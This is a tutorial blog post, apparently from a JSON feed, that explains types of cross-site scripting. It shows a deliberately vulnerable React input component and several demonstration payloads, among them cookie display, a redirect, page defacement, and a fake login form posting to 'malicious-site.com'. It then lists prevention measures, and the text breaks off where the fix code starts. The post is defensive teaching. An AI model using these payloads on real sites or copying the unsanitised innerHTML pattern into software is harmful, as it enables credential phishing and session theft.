            "id": "https://eliasa.link/blog/xss-explained/",
            "content_html": "<p>Cross-Site Scripting (XSS) is one of the most prevalent web application vulnerabilities, affecting millions of websites worldwide. It allows attackers to inject malicious scripts into web pages, potentially compromising user data, stealing sensitive information, or redirecting users to phishing websites.</p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"understanding-cross-site-scripting-xss\">Understanding Cross-Site Scripting (XSS)<a href=\"https://eliasa.link/blog/xss-explained/#understanding-cross-site-scripting-xss\" class=\"hash-link\" aria-label=\"Direct link to Understanding Cross-Site Scripting (XSS)\" title=\"Direct link to Understanding Cross-Site Scripting (XSS)\" translate=\"no\">​</a></h2>\n<p>In simple terms, XSS attacks occur when a web application allows scripts to be embedded within the application's code by a malicious actor. These scripts can then be executed when users visit the affected web page, leading to harmful consequences.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"types-of-xss-attacks\">Types of XSS Attacks<a href=\"https://eliasa.link/blog/xss-explained/#types-of-xss-attacks\" class=\"hash-link\" aria-label=\"Direct link to Types of XSS Attacks\" title=\"Direct link to Types of XSS Attacks\" translate=\"no\">​</a></h3>\n<ol>\n<li class=\"\"><strong>Reflected XSS</strong>: This is the most common type of XSS attack, where the malicious script is injected into a web page as part of a request, such as a URL parameter or a form submission. The script is then executed when the web server reflects the request back to the user's browser.</li>\n</ol>\n<div class=\"theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 14 16\"><path fill-rule=\"evenodd\" d=\"M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z\"></path></svg></span>Example</div><div class=\"admonitionContent_BuS1\"><p>An attacker sends a victim a link like <code>http://example.com/search?q=&lt;script&gt;alert('XSS')&lt;/script&gt;</code>. When the victim clicks the link, the server reflects the input, and the script executes in the victim's browser, displaying an alert or stealing sensitive data.</p></div></div>\n<ol start=\"2\">\n<li class=\"\"><strong>Stored XSS</strong>: In stored XSS attacks, the malicious script is permanently stored on the target server, such as in a database, message forum, or comment section. When a user visits the affected page, the script is retrieved and executed within the user's browser.</li>\n</ol>\n<div class=\"theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 14 16\"><path fill-rule=\"evenodd\" d=\"M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z\"></path></svg></span>Example</div><div class=\"admonitionContent_BuS1\"><p>An attacker posts a malicious script in a comment on a blog. When other users view the comment, the script executes, potentially stealing cookies or redirecting users to a malicious site.</p></div></div>\n<ol start=\"3\">\n<li class=\"\"><strong>DOM-based XSS</strong>: This type of XSS attack exploits vulnerabilities in the client-side code, such as JavaScript, to manipulate the Document Object Model (DOM) without directly injecting malicious code into the web page.</li>\n</ol>\n<div class=\"theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 14 16\"><path fill-rule=\"evenodd\" d=\"M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z\"></path></svg></span>Example</div><div class=\"admonitionContent_BuS1\"><p>An attacker manipulates the URL to include a script, like <code>http://example.com/page#&lt;script&gt;alert('XSS')&lt;/script&gt;</code>. The client-side JavaScript reads the URL fragment and injects it into the page, causing the script to execute in the victim's browser.</p></div></div>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"interactive-xss-demonstration\">Interactive XSS Demonstration<a href=\"https://eliasa.link/blog/xss-explained/#interactive-xss-demonstration\" class=\"hash-link\" aria-label=\"Direct link to Interactive XSS Demonstration\" title=\"Direct link to Interactive XSS Demonstration\" translate=\"no\">​</a></h2>\n<p>Let's see how a simple XSS attack can be executed. We will use a benign script for demonstration purposes.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"setting-up-a-mock-input-field\">Setting Up a Mock Input Field<a href=\"https://eliasa.link/blog/xss-explained/#setting-up-a-mock-input-field\" class=\"hash-link\" aria-label=\"Direct link to Setting Up a Mock Input Field\" title=\"Direct link to Setting Up a Mock Input Field\" translate=\"no\">​</a></h3>\n<p>First, let's create a simple input field that could represent a user comment section on a website.</p>\n<div class=\"language-jsx codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockTitle_OeMC\">/src/xss/code.js</div><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-jsx codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token keyword\" style=\"color:#00009f\">function</span><span class=\"token plain\"> </span><span class=\"token function maybe-class-name\" style=\"color:#d73a49\">LiveExample</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token keyword\" style=\"color:#00009f\">const</span><span class=\"token plain\"> </span><span class=\"token function-variable function\" style=\"color:#d73a49\">displayUserInput</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token arrow operator\" style=\"color:#393A34\">=&gt;</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">const</span><span class=\"token plain\"> userInput </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token dom variable\" style=\"color:#36acaa\">document</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token method function property-access\" style=\"color:#d73a49\">getElementById</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'userInput'</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token property-access\">value</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token comment\" style=\"color:#999988;font-style:italic\">// Vulnerable line: Directly setting innerHTML without sanitization</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token dom variable\" style=\"color:#36acaa\">document</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token method function property-access\" style=\"color:#d73a49\">getElementById</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'output'</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token property-access\">innerHTML</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> userInput</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token keyword control-flow\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token tag punctuation\" style=\"color:#393A34\">&lt;</span><span class=\"token tag\" style=\"color:#00009f\">div</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&gt;</span><span class=\"token plain-text\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain-text\">      </span><span class=\"token tag punctuation\" style=\"color:#393A34\">&lt;</span><span class=\"token tag\" style=\"color:#00009f\">input</span><span class=\"token tag\" style=\"color:#00009f\"> </span><span class=\"token tag attr-name\" style=\"color:#00a4db\">type</span><span class=\"token tag attr-value punctuation attr-equals\" style=\"color:#393A34\">=</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag attr-value\" style=\"color:#e3116c\">text</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag\" style=\"color:#00009f\"> </span><span class=\"token tag attr-name\" style=\"color:#00a4db\">id</span><span class=\"token tag attr-value punctuation attr-equals\" style=\"color:#393A34\">=</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag attr-value\" style=\"color:#e3116c\">userInput</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag\" style=\"color:#00009f\"> </span><span class=\"token tag attr-name\" style=\"color:#00a4db\">placeholder</span><span class=\"token tag attr-value punctuation attr-equals\" style=\"color:#393A34\">=</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag attr-value\" style=\"color:#e3116c\">Enter text or HTML</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag\" style=\"color:#00009f\"> </span><span class=\"token tag punctuation\" style=\"color:#393A34\">/&gt;</span><span class=\"token plain-text\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain-text\">      </span><span class=\"token tag punctuation\" style=\"color:#393A34\">&lt;</span><span class=\"token tag\" style=\"color:#00009f\">button</span><span class=\"token tag\" style=\"color:#00009f\"> </span><span class=\"token tag attr-name\" style=\"color:#00a4db\">onClick</span><span class=\"token tag script language-javascript script-punctuation punctuation\" style=\"color:#393A34\">=</span><span class=\"token tag script language-javascript punctuation\" style=\"color:#393A34\">{</span><span class=\"token tag script language-javascript\" style=\"color:#00009f\">displayUserInput</span><span class=\"token tag script language-javascript punctuation\" style=\"color:#393A34\">}</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&gt;</span><span class=\"token plain-text\">Display</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&lt;/</span><span class=\"token tag\" style=\"color:#00009f\">button</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&gt;</span><span class=\"token plain-text\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain-text\">      </span><span class=\"token tag punctuation\" style=\"color:#393A34\">&lt;</span><span class=\"token tag\" style=\"color:#00009f\">div</span><span class=\"token tag\" style=\"color:#00009f\"> </span><span class=\"token tag attr-name\" style=\"color:#00a4db\">id</span><span class=\"token tag attr-value punctuation attr-equals\" style=\"color:#393A34\">=</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag attr-value\" style=\"color:#e3116c\">output</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&gt;</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&lt;/</span><span class=\"token tag\" style=\"color:#00009f\">div</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&gt;</span><span class=\"token plain-text\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain-text\">    </span><span class=\"token tag punctuation\" style=\"color:#393A34\">&lt;/</span><span class=\"token tag\" style=\"color:#00009f\">div</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><br></div></code></pre></div></div>\n<div class=\"theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 16 16\"><path fill-rule=\"evenodd\" d=\"M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z\"></path></svg></span>warning</div><div class=\"admonitionContent_BuS1\"><p>This code is completely vulnerable to cross-site scripting (XSS) attacks due to a lack of input validation.</p></div></div>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"injecting-a-harmless-script\">Injecting a Harmless Script<a href=\"https://eliasa.link/blog/xss-explained/#injecting-a-harmless-script\" class=\"hash-link\" aria-label=\"Direct link to Injecting a Harmless Script\" title=\"Direct link to Injecting a Harmless Script\" translate=\"no\">​</a></h3>\n<p>Now, try typing the following into the input field:</p>\n<div class=\"language-html codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-html codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token tag punctuation\" style=\"color:#393A34\">&lt;</span><span class=\"token tag\" style=\"color:#00009f\">img</span><span class=\"token tag\" style=\"color:#00009f\"> </span><span class=\"token tag attr-name\" style=\"color:#00a4db\">src</span><span class=\"token tag attr-value punctuation attr-equals\" style=\"color:#393A34\">=</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag attr-value\" style=\"color:#e3116c\">invalid.jpg</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag\" style=\"color:#00009f\"> </span><span class=\"token tag special-attr attr-name\" style=\"color:#00a4db\">onerror</span><span class=\"token tag special-attr attr-value punctuation attr-equals\" style=\"color:#393A34\">=</span><span class=\"token tag special-attr attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag special-attr attr-value value javascript language-javascript function\" style=\"color:#d73a49\">alert</span><span class=\"token tag special-attr attr-value value javascript language-javascript punctuation\" style=\"color:#393A34\">(</span><span class=\"token tag special-attr attr-value value javascript language-javascript string\" style=\"color:#e3116c\">'XSS'</span><span class=\"token tag special-attr attr-value value javascript language-javascript punctuation\" style=\"color:#393A34\">)</span><span class=\"token tag special-attr attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&gt;</span><br></div></code></pre></div></div>\n<p>Congratulations, you just performed a Reflected XSS Attack.</p>\n<p>When this script is executed, it attempts to load an image that does not exist (<code>invalid.jpg</code>). The failure to load the image triggers the <code>onerror</code> event, causing an alert box to appear. This behavior was not</p>\n<p>When a website fails to sanitize user inputs, scripts like the one above are treated as legitimate HTML, executed by the browser.</p>\n<p>This seemingly harmless script demonstrates the potential consequences of XSS vulnerabilities. In a real-world attack, the <code>alert</code> command could be replaced with malicious code that steals cookies, redirects users to phishing sites, or injects malware.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"more-xss-examples\">More XSS Examples<a href=\"https://eliasa.link/blog/xss-explained/#more-xss-examples\" class=\"hash-link\" aria-label=\"Direct link to More XSS Examples\" title=\"Direct link to More XSS Examples\" translate=\"no\">​</a></h3>\n<p>Let's try to inject more scripts into our web form.</p>\n<p><strong>Redirection</strong>:</p>\n<div class=\"language-html codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-html codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token tag punctuation\" style=\"color:#393A34\">&lt;</span><span class=\"token tag\" style=\"color:#00009f\">img</span><span class=\"token tag\" style=\"color:#00009f\"> </span><span class=\"token tag attr-name\" style=\"color:#00a4db\">src</span><span class=\"token tag attr-value punctuation attr-equals\" style=\"color:#393A34\">=</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag attr-value\" style=\"color:#e3116c\">invalid.jpg</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag\" style=\"color:#00009f\"> </span><span class=\"token tag special-attr attr-name\" style=\"color:#00a4db\">onerror</span><span class=\"token tag special-attr attr-value punctuation attr-equals\" style=\"color:#393A34\">=</span><span class=\"token tag special-attr attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag special-attr attr-value value javascript language-javascript dom variable\" style=\"color:#36acaa\">window</span><span class=\"token tag special-attr attr-value value javascript language-javascript punctuation\" style=\"color:#393A34\">.</span><span class=\"token tag special-attr attr-value value javascript language-javascript property-access\" style=\"color:#e3116c\">location</span><span class=\"token tag special-attr attr-value value javascript language-javascript operator\" style=\"color:#393A34\">=</span><span class=\"token tag special-attr attr-value value javascript language-javascript string\" style=\"color:#e3116c\">'https://www.google.com'</span><span class=\"token tag special-attr attr-value value javascript language-javascript punctuation\" style=\"color:#393A34\">;</span><span class=\"token tag special-attr attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&gt;</span><br></div></code></pre></div></div>\n<p>Instead of displaying an alert, this script executes <code>window.location='https://www.google.com';</code>, which redirects the user to Google's homepage.</p>\n<p><strong>Document manipulation</strong>:</p>\n<div class=\"language-html codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-html codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token tag punctuation\" style=\"color:#393A34\">&lt;</span><span class=\"token tag\" style=\"color:#00009f\">img</span><span class=\"token tag\" style=\"color:#00009f\"> </span><span class=\"token tag attr-name\" style=\"color:#00a4db\">src</span><span class=\"token tag attr-value punctuation attr-equals\" style=\"color:#393A34\">=</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag attr-value\" style=\"color:#e3116c\">invalid.jpg</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag\" style=\"color:#00009f\"> </span><span class=\"token tag special-attr attr-name\" style=\"color:#00a4db\">onerror</span><span class=\"token tag special-attr attr-value punctuation attr-equals\" style=\"color:#393A34\">=</span><span class=\"token tag special-attr attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag special-attr attr-value value javascript language-javascript dom variable\" style=\"color:#36acaa\">document</span><span class=\"token tag special-attr attr-value value javascript language-javascript punctuation\" style=\"color:#393A34\">.</span><span class=\"token tag special-attr attr-value value javascript language-javascript property-access\" style=\"color:#e3116c\">body</span><span class=\"token tag special-attr attr-value value javascript language-javascript punctuation\" style=\"color:#393A34\">.</span><span class=\"token tag special-attr attr-value value javascript language-javascript property-access\" style=\"color:#e3116c\">innerHTML</span><span class=\"token tag special-attr attr-value value javascript language-javascript operator\" style=\"color:#393A34\">=</span><span class=\"token tag special-attr attr-value value javascript language-javascript string\" style=\"color:#e3116c\">'&lt;h1&gt;Your page has been compromised&lt;/h1&gt;'</span><span class=\"token tag special-attr attr-value value javascript language-javascript punctuation\" style=\"color:#393A34\">;</span><span class=\"token tag special-attr attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&gt;</span><br></div></code></pre></div></div>\n<p>This script modifies the whole content of the HTML document displayed.</p>\n<p><strong>Cookie Theft</strong>:</p>\n<div class=\"language-html codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-html codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token tag punctuation\" style=\"color:#393A34\">&lt;</span><span class=\"token tag\" style=\"color:#00009f\">img</span><span class=\"token tag\" style=\"color:#00009f\"> </span><span class=\"token tag attr-name\" style=\"color:#00a4db\">src</span><span class=\"token tag attr-value punctuation attr-equals\" style=\"color:#393A34\">=</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag attr-value\" style=\"color:#e3116c\">invalid.jpg</span><span class=\"token tag attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag\" style=\"color:#00009f\"> </span><span class=\"token tag special-attr attr-name\" style=\"color:#00a4db\">onerror</span><span class=\"token tag special-attr attr-value punctuation attr-equals\" style=\"color:#393A34\">=</span><span class=\"token tag special-attr attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag special-attr attr-value value javascript language-javascript function\" style=\"color:#d73a49\">alert</span><span class=\"token tag special-attr attr-value value javascript language-javascript punctuation\" style=\"color:#393A34\">(</span><span class=\"token tag special-attr attr-value value javascript language-javascript string\" style=\"color:#e3116c\">'Cookies: '</span><span class=\"token tag special-attr attr-value value javascript language-javascript\" style=\"color:#e3116c\"> </span><span class=\"token tag special-attr attr-value value javascript language-javascript operator\" style=\"color:#393A34\">+</span><span class=\"token tag special-attr attr-value value javascript language-javascript\" style=\"color:#e3116c\"> </span><span class=\"token tag special-attr attr-value value javascript language-javascript dom variable\" style=\"color:#36acaa\">document</span><span class=\"token tag special-attr attr-value value javascript language-javascript punctuation\" style=\"color:#393A34\">.</span><span class=\"token tag special-attr attr-value value javascript language-javascript property-access\" style=\"color:#e3116c\">cookie</span><span class=\"token tag special-attr attr-value value javascript language-javascript punctuation\" style=\"color:#393A34\">)</span><span class=\"token tag special-attr attr-value value javascript language-javascript punctuation\" style=\"color:#393A34\">;</span><span class=\"token tag special-attr attr-value punctuation\" style=\"color:#393A34\">\"</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&gt;</span><br></div></code></pre></div></div>\n<p>This one demonstates the potential for session hijacking by displaying the document's cookies. Real attacks might send these cookies to the attacker's server</p>\n<p><strong>Phishing with Fake Forms</strong>:</p>\n<div class=\"language-html codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-html codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">&lt;img src=\"invalid.jpg\" onerror=\"document.body.innerHTML='&lt;form action=\\\"https://malicious-site.com\\\"&gt;&lt;input type=\\\"text\\\" placeholder=\\\"Username\\\"&gt;&lt;input type=\\\"password\\\" placeholder=\\\"Password\\\"&gt;&lt;button type=\\\"submit\\\"&gt;Login</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&lt;/</span><span class=\"token tag\" style=\"color:#00009f\">button</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&gt;</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&lt;/</span><span class=\"token tag\" style=\"color:#00009f\">form</span><span class=\"token tag punctuation\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\">';\"&gt;</span><br></div></code></pre></div></div>\n<p>This script replaces the webpage content with a fake login form, indicating how phishing attacks can be staged through XSS.</p>\n<p>These examples merely illustrate the versatility of XSS attacks, as attackers can devise numerous other malicious scripts to exploit vulnerabilities and compromise user security.</p>\n<div class=\"theme-admonition theme-admonition-info admonition_xJq3 alert alert--info\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 14 16\"><path fill-rule=\"evenodd\" d=\"M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z\"></path></svg></span>info</div><div class=\"admonitionContent_BuS1\"><p>According to the <strong>OWASP Top 10:2021</strong>, the category A03:2021-Injection, which includes Cross-site Scripting attacks, rank third among the most critical web application security risks. Consequently, prioritizing XSS prevention strategies in your applications is highly recommended.</p></div></div>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"preventing-xss-attacks-a-multi-layered-approach\">Preventing XSS Attacks: A Multi-Layered Approach<a href=\"https://eliasa.link/blog/xss-explained/#preventing-xss-attacks-a-multi-layered-approach\" class=\"hash-link\" aria-label=\"Direct link to Preventing XSS Attacks: A Multi-Layered Approach\" title=\"Direct link to Preventing XSS Attacks: A Multi-Layered Approach\" translate=\"no\">​</a></h2>\n<p>Preventing XSS attacks requires a multi-layered approach that encompasses both server-side and client-side security measures. Here are some key strategies:</p>\n<ol>\n<li class=\"\"><strong>Input Validation and Sanitization</strong>: Validate and sanitize all user inputs to remove harmful code. Use regular expressions, whitelists, and escaping mechanisms to accept only valid input.</li>\n<li class=\"\"><strong>Output Encoding</strong>: Encode outputs to treat user input as data, not executable code. Use functions to encode HTML, JavaScript, CSS, and URL inputs.</li>\n<li class=\"\"><strong>Content Security Policy (CSP)</strong>: Use CSP to restrict which scripts can run on your page. Specify allowed sources for scripts, images, and other content.</li>\n<li class=\"\"><strong>Set HttpOnly and Secure Flags</strong>: Use the HttpOnly flag to prevent JavaScript from accessing cookies. Set the Secure flag to ensure cookies are sent only over HTTPS.</li>\n<li class=\"\"><strong>Double Submit Cookies</strong>: Send CSRF tokens both as cookies and request parameters. Validate tokens on the server to ensure request authenticity.</li>\n<li class=\"\"><strong>Referer and Origin Header Validation</strong>: Check the Referer and Origin headers to ensure requests come from the expected origin.</li>\n<li class=\"\"><strong>Regular Security Testing</strong>: Conduct automated and manual security tests to find and fix XSS vulnerabilities before they are exploited.</li>\n</ol>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"solution\">Solution<a href=\"https://eliasa.link/blog/xss-explained/#solution\" class=\"hash-link\" aria-label=\"Direct link to Solution\" title=\"Direct link to Solution\" translate=\"no\">​</a></h2>\n<p>Getting back to the form we exploited previously, in order to eliminate the XSS vulnerability we need to add sanitization for the user input validation.</p>\n<div class=\"language-js codeBlockContainer_Ckt0 theme-code-block\" 